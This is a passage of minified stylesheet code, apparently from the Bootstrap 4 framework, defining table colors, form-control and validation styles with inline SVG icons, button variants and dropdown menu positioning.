.table-warning:hover{background-color:#ffe8a1}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#ffe8a1}.table-danger,.table-danger>td,.table-danger>th{background-color:#f5c6cb}.table-danger tbody+tbody,.table-danger td,.table-danger th,.table-danger thead th{border-color:#ed969e}.table-hover .table-danger:hover{background-color:#f1b0b7}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#f1b0b7}.table-light,.table-light>td,.table-light>th{background-color:#fdfdfe}.table-light tbody+tbody,.table-light td,.table-light th,.table-light thead th{border-color:#fbfcfc}.table-hover .table-light:hover{background-color:#ececf6}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#ececf6}.table-dark,.table-dark>td,.table-dark>th{background-color:#c6c8ca}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#95999c}.table-hover .table-dark:hover{background-color:#b9bbbe}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#b9bbbe}.table-active,.table-active>td,.table-active>th{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(0,0,0,.075)}.table .thead-dark th{color:#fff;background-color:#343a40;border-color:#454d55}.table .thead-light th{color:#495057;background-color:#e9ecef;border-color:#dee2e6}.table-dark{color:#fff;background-color:#343a40}.table-dark td,.table-dark th,.table-dark thead th{border-color:#454d55}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,.05)}.table-dark.table-hover tbody tr:hover{color:#fff;background-color:rgba(255,255,255,.075)}@media (max-width:575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-sm>.table-bordered{border:0}}@media (max-width:767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-md>.table-bordered{border:0}}@media (max-width:991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-lg>.table-bordered{border:0}}@media (max-width:1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;height:calc(1.5em + .75rem + 2px);padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;border-radius:.25rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:focus{color:#495057;background-color:#fff;border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.form-control::-webkit-input-placeholder{color:#6c757d;opacity:1}.form-control::-moz-placeholder{color:#6c757d;opacity:1}.form-control:-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::placeholder{color:#6c757d;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#e9ecef;opacity:1}input[type=date].form-control,input[type=datetime-local].form-control,input[type=month].form-control,input[type=time].form-control{-webkit-appearance:none;-moz-appearance:none;appearance:none}select.form-control:-moz-focusring{color:transparent;text-shadow:0 0 0 #495057}select.form-control:focus::-ms-value{color:#495057;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding:.375rem 0;margin-bottom:0;font-size:1rem;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{height:calc(1.5em + .5rem + 2px);padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.form-control-lg{height:calc(1.5em + 1rem + 2px);padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}select.form-control[multiple],select.form-control[size]{height:auto}textarea.form-control{height:auto}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:.25rem}.form-row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*=col-]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:.3rem;margin-left:-1.25rem}.form-check-input:disabled~.form-check-label,.form-check-input[disabled]~.form-check-label{color:#6c757d}.form-check-label{margin-bottom:0}.form-check-inline{display:-ms-inline-flexbox;display:inline-flex;-ms-flex-align:center;align-items:center;padding-left:0;margin-right:.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#28a745}.valid-tooltip{position:absolute;top:100%;left:0;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(40,167,69,.9);border-radius:.25rem}.form-row>.col>.valid-tooltip,.form-row>[class*=col-]>.valid-tooltip{left:5px}.is-valid~.valid-feedback,.is-valid~.valid-tooltip,.was-validated :valid~.valid-feedback,.was-validated :valid~.valid-tooltip{display:block}.form-control.is-valid,.was-validated .form-control:valid{border-color:#28a745;padding-right:calc(1.5em + .75rem)!important;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-valid:focus,.was-validated .form-control:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.was-validated select.form-control:valid,select.form-control.is-valid{padding-right:3rem!important;background-position:right 1.5rem center}.was-validated textarea.form-control:valid,textarea.form-control.is-valid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.custom-select.is-valid,.was-validated .custom-select:valid{border-color:#28a745;padding-right:calc(.75em + 2.3125rem)!important;background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") right .75rem center/8px 10px no-repeat,#fff url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e") center right 1.75rem/calc(.75em + .375rem) calc(.75em + .375rem) no-repeat}.custom-select.is-valid:focus,.was-validated .custom-select:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#28a745}.form-check-input.is-valid~.valid-feedback,.form-check-input.is-valid~.valid-tooltip,.was-validated .form-check-input:valid~.valid-feedback,.was-validated .form-check-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid~.custom-control-label,.was-validated .custom-control-input:valid~.custom-control-label{color:#28a745}.custom-control-input.is-valid~.custom-control-label::before,.was-validated .custom-control-input:valid~.custom-control-label::before{border-color:#28a745}.custom-control-input.is-valid:checked~.custom-control-label::before,.was-validated .custom-control-input:valid:checked~.custom-control-label::before{border-color:#34ce57;background-color:#34ce57}.custom-control-input.is-valid:focus~.custom-control-label::before,.was-validated .custom-control-input:valid:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.custom-control-input.is-valid:focus:not(:checked)~.custom-control-label::before,.was-validated .custom-control-input:valid:focus:not(:checked)~.custom-control-label::before{border-color:#28a745}.custom-file-input.is-valid~.custom-file-label,.was-validated .custom-file-input:valid~.custom-file-label{border-color:#28a745}.custom-file-input.is-valid:focus~.custom-file-label,.was-validated .custom-file-input:valid:focus~.custom-file-label{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;left:0;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(220,53,69,.9);border-radius:.25rem}.form-row>.col>.invalid-tooltip,.form-row>[class*=col-]>.invalid-tooltip{left:5px}.is-invalid~.invalid-feedback,.is-invalid~.invalid-tooltip,.was-validated :invalid~.invalid-feedback,.was-validated :invalid~.invalid-tooltip{display:block}.form-control.is-invalid,.was-validated .form-control:invalid{border-color:#dc3545;padding-right:calc(1.5em + .75rem)!important;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='none' stroke='%23dc3545' viewBox='0 0 12 12'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-invalid:focus,.was-validated .form-control:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.was-validated select.form-control:invalid,select.form-control.is-invalid{padding-right:3rem!important;background-position:right 1.5rem center}.was-validated textarea.form-control:invalid,textarea.form-control.is-invalid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.custom-select.is-invalid,.was-validated .custom-select:invalid{border-color:#dc3545;padding-right:calc(.75em + 2.3125rem)!important;background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") right .75rem center/8px 10px no-repeat,#fff url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='none' stroke='%23dc3545' viewBox='0 0 12 12'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e") center right 1.75rem/calc(.75em + .375rem) calc(.75em + .375rem) no-repeat}.custom-select.is-invalid:focus,.was-validated .custom-select:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#dc3545}.form-check-input.is-invalid~.invalid-feedback,.form-check-input.is-invalid~.invalid-tooltip,.was-validated .form-check-input:invalid~.invalid-feedback,.was-validated .form-check-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid~.custom-control-label,.was-validated .custom-control-input:invalid~.custom-control-label{color:#dc3545}.custom-control-input.is-invalid~.custom-control-label::before,.was-validated .custom-control-input:invalid~.custom-control-label::before{border-color:#dc3545}.custom-control-input.is-invalid:checked~.custom-control-label::before,.was-validated .custom-control-input:invalid:checked~.custom-control-label::before{border-color:#e4606d;background-color:#e4606d}.custom-control-input.is-invalid:focus~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.custom-control-input.is-invalid:focus:not(:checked)~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus:not(:checked)~.custom-control-label::before{border-color:#dc3545}.custom-file-input.is-invalid~.custom-file-label,.was-validated .custom-file-input:invalid~.custom-file-label{border-color:#dc3545}.custom-file-input.is-invalid:focus~.custom-file-label,.was-validated .custom-file-input:invalid:focus~.custom-file-label{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.form-inline{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-align:center;align-items:center}.form-inline .form-check{width:100%}@media (min-width:576px){.form-inline label{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:-ms-flexbox;display:flex;-ms-flex:0 0 auto;flex:0 0 auto;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-align:center;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .custom-select,.form-inline .input-group{width:auto}.form-inline .form-check{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;-ms-flex-negative:0;flex-shrink:0;margin-top:0;margin-right:.25rem;margin-left:0}.form-inline .custom-control{-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;color:#212529;text-align:center;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;padding:.375rem .75rem;font-size:1rem;line-height:1.5;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:hover{color:#212529;text-decoration:none}.btn.focus,.btn:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.btn.disabled,.btn:disabled{opacity:.65}.btn:not(:disabled):not(.disabled){cursor:pointer}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:hover{color:#fff;background-color:#0069d9;border-color:#0062cc}.btn-primary.focus,.btn-primary:focus{color:#fff;background-color:#0069d9;border-color:#0062cc;box-shadow:0 0 0 .2rem rgba(38,143,255,.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:not(:disabled):not(.disabled).active,.btn-primary:not(:disabled):not(.disabled):active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#0062cc;border-color:#005cbf}.btn-primary:not(:disabled):not(.disabled).active:focus,.btn-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,.5)}.btn-secondary{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:hover{color:#fff;background-color:#5a6268;border-color:#545b62}.btn-secondary.focus,.btn-secondary:focus{color:#fff;background-color:#5a6268;border-color:#545b62;box-shadow:0 0 0 .2rem rgba(130,138,145,.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:not(:disabled):not(.disabled).active,.btn-secondary:not(:disabled):not(.disabled):active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#545b62;border-color:#4e555b}.btn-secondary:not(:disabled):not(.disabled).active:focus,.btn-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(130,138,145,.5)}.btn-success{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:hover{color:#fff;background-color:#218838;border-color:#1e7e34}.btn-success.focus,.btn-success:focus{color:#fff;background-color:#218838;border-color:#1e7e34;box-shadow:0 0 0 .2rem rgba(72,180,97,.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:not(:disabled):not(.disabled).active,.btn-success:not(:disabled):not(.disabled):active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#1e7e34;border-color:#1c7430}.btn-success:not(:disabled):not(.disabled).active:focus,.btn-success:not(:disabled):not(.disabled):active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(72,180,97,.5)}.btn-info{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:hover{color:#fff;background-color:#138496;border-color:#117a8b}.btn-info.focus,.btn-info:focus{color:#fff;background-color:#138496;border-color:#117a8b;box-shadow:0 0 0 .2rem rgba(58,176,195,.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:not(:disabled):not(.disabled).active,.btn-info:not(:disabled):not(.disabled):active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#117a8b;border-color:#10707f}.btn-info:not(:disabled):not(.disabled).active:focus,.btn-info:not(:disabled):not(.disabled):active:focus,.show>.btn-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(58,176,195,.5)}.btn-warning{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:hover{color:#212529;background-color:#e0a800;border-color:#d39e00}.btn-warning.focus,.btn-warning:focus{color:#212529;background-color:#e0a800;border-color:#d39e00;box-shadow:0 0 0 .2rem rgba(222,170,12,.5)}.btn-warning.disabled,.btn-warning:disabled{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:not(:disabled):not(.disabled).active,.btn-warning:not(:disabled):not(.disabled):active,.show>.btn-warning.dropdown-toggle{color:#212529;background-color:#d39e00;border-color:#c69500}.btn-warning:not(:disabled):not(.disabled).active:focus,.btn-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(222,170,12,.5)}.btn-danger{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:hover{color:#fff;background-color:#c82333;border-color:#bd2130}.btn-danger.focus,.btn-danger:focus{color:#fff;background-color:#c82333;border-color:#bd2130;box-shadow:0 0 0 .2rem rgba(225,83,97,.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:not(:disabled):not(.disabled).active,.btn-danger:not(:disabled):not(.disabled):active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#bd2130;border-color:#b21f2d}.btn-danger:not(:disabled):not(.disabled).active:focus,.btn-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(225,83,97,.5)}.btn-light{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:hover{color:#212529;background-color:#e2e6ea;border-color:#dae0e5}.btn-light.focus,.btn-light:focus{color:#212529;background-color:#e2e6ea;border-color:#dae0e5;box-shadow:0 0 0 .2rem rgba(216,217,219,.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:not(:disabled):not(.disabled).active,.btn-light:not(:disabled):not(.disabled):active,.show>.btn-light.dropdown-toggle{color:#212529;background-color:#dae0e5;border-color:#d3d9df}.btn-light:not(:disabled):not(.disabled).active:focus,.btn-light:not(:disabled):not(.disabled):active:focus,.show>.btn-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(216,217,219,.5)}.btn-dark{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:hover{color:#fff;background-color:#23272b;border-color:#1d2124}.btn-dark.focus,.btn-dark:focus{color:#fff;background-color:#23272b;border-color:#1d2124;box-shadow:0 0 0 .2rem rgba(82,88,93,.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:not(:disabled):not(.disabled).active,.btn-dark:not(:disabled):not(.disabled):active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#1d2124;border-color:#171a1d}.btn-dark:not(:disabled):not(.disabled).active:focus,.btn-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(82,88,93,.5)}.btn-outline-primary{color:#007bff;border-color:#007bff}.btn-outline-primary:hover{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary.focus,.btn-outline-primary:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#007bff;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled).active,.btn-outline-primary:not(:disabled):not(.disabled):active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-secondary{color:#6c757d;border-color:#6c757d}.btn-outline-secondary:hover{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary.focus,.btn-outline-secondary:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#6c757d;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled).active,.btn-outline-secondary:not(:disabled):not(.disabled):active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-success{color:#28a745;border-color:#28a745}.btn-outline-success:hover{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success.focus,.btn-outline-success:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#28a745;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled).active,.btn-outline-success:not(:disabled):not(.disabled):active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success:not(:disabled):not(.disabled).active:focus,.btn-outline-success:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-info{color:#17a2b8;border-color:#17a2b8}.btn-outline-info:hover{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info.focus,.btn-outline-info:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#17a2b8;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled).active,.btn-outline-info:not(:disabled):not(.disabled):active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info:not(:disabled):not(.disabled).active:focus,.btn-outline-info:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-warning{color:#ffc107;border-color:#ffc107}.btn-outline-warning:hover{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning.focus,.btn-outline-warning:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#ffc107;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled).active,.btn-outline-warning:not(:disabled):not(.disabled):active,.show>.btn-outline-warning.dropdown-toggle{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-danger{color:#dc3545;border-color:#dc3545}.btn-outline-danger:hover{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger.focus,.btn-outline-danger:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#dc3545;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled).active,.btn-outline-danger:not(:disabled):not(.disabled):active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-light{color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:hover{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light.focus,.btn-outline-light:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#f8f9fa;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled).active,.btn-outline-light:not(:disabled):not(.disabled):active,.show>.btn-outline-light.dropdown-toggle{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:not(:disabled):not(.disabled).active:focus,.btn-outline-light:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-dark{color:#343a40;border-color:#343a40}.btn-outline-dark:hover{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark.focus,.btn-outline-dark:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#343a40;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled).active,.btn-outline-dark:not(:disabled):not(.disabled):active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-link{font-weight:400;color:#007bff;text-decoration:none}.btn-link:hover{color:#0056b3;text-decoration:underline}.btn-link.focus,.btn-link:focus{text-decoration:underline}.btn-link.disabled,.btn-link:disabled{color:#6c757d;pointer-events:none}.btn-group-lg>.btn,.btn-lg{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.btn-group-sm>.btn,.btn-sm{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:.5rem}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{transition:opacity .15s linear}@media (prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{position:relative;height:0;overflow:hidden;transition:height .35s ease}@media (prefers-reduced-motion:reduce){.collapsing{transition:none}}.dropdown,.dropleft,.dropright,.dropup{position:relative}.dropdown-toggle{white-space:nowrap}.dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;font-size:1rem;color:#212529;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.dropdown-menu-left{right:auto;left:0}.dropdown-menu-right{right:0;left:auto}@media (min-width:576px){.dropdown-menu-sm-left{right:auto;left:0}.dropdown-menu-sm-right{right:0;left:auto}}@media (min-width:768px){.dropdown-menu-md-left{right:auto;left:0}.dropdown-menu-md-right{right:0;left:auto}}@media (min-width:992px){.dropdown-menu-lg-left{right:auto;left:0}.dropdown-menu-lg-right{right:0;left:auto}}@media (min-width:1200px){.dropdown-menu-xl-left{right:auto;left:0}.dropdown-menu-xl-right{right:0;left:auto}}.dropup .dropdown-menu{top:auto;bottom:100%;margin-top:0;margin-bottom:.125rem}.dropup .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{top:0;right:auto;left:100%;margin-top:0;margin-left:.125rem}.dropright .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropright .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-toggle::after{vertical-align:0}.dropleft .dropdown-menu{top:0;right:100%;left:auto;margin-top:0;margin-right:.125rem}.dropleft 